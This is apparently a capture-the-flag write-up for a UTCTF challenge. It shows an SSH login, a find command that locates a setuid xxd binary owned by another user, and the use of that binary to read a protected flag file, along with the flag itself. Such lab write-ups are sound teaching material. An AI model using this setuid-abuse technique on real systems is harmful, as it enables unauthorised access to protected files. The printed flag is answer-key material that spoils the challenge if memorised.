Trapped in Plain Sight 1

Overview

Challenge Information

Just try to read my flag. 0x0 The password is password. by Caleb (@eden.caleb.a on discord) ssh -p 4301 trapped@challenge.utctf.live

Additional Information

On the server we have provided with flag.txt with user permission noaccess.

trapped@47ca6c33ca55:~$ ls -l
total 4
-r-x------ 1 noaccess noaccess 28 Mar 14 19:23 flag.txt

Analysis

If we try to read the flag.txt with current user, we will get permission denied.

trapped@47ca6c33ca55:~$ cat flag.txt
cat: flag.txt: Permission denied

Since we are unable to read flag.txt with our current user, we need to find a way to escalate privilege to user noaccess.

Solution

trapped@47ca6c33ca55:~$ find / -user noaccess -type f -executable -exec ls -l {} \; 2>/dev/null
-r-sr-xr-x 1 noaccess noaccess 18712 Feb  3 07:35 /usr/bin/xxd

trapped@47ca6c33ca55:~$ /usr/bin/xxd flag.txt
00000000: 7574 666c 6167 7b53 7065 6369 614c 5f50  utflag{SpeciaL_P
00000010: 6572 6d69 7373 696f 6e7a 7d0a            ermissionz}.

utflag{SpeciaL_Permissionz}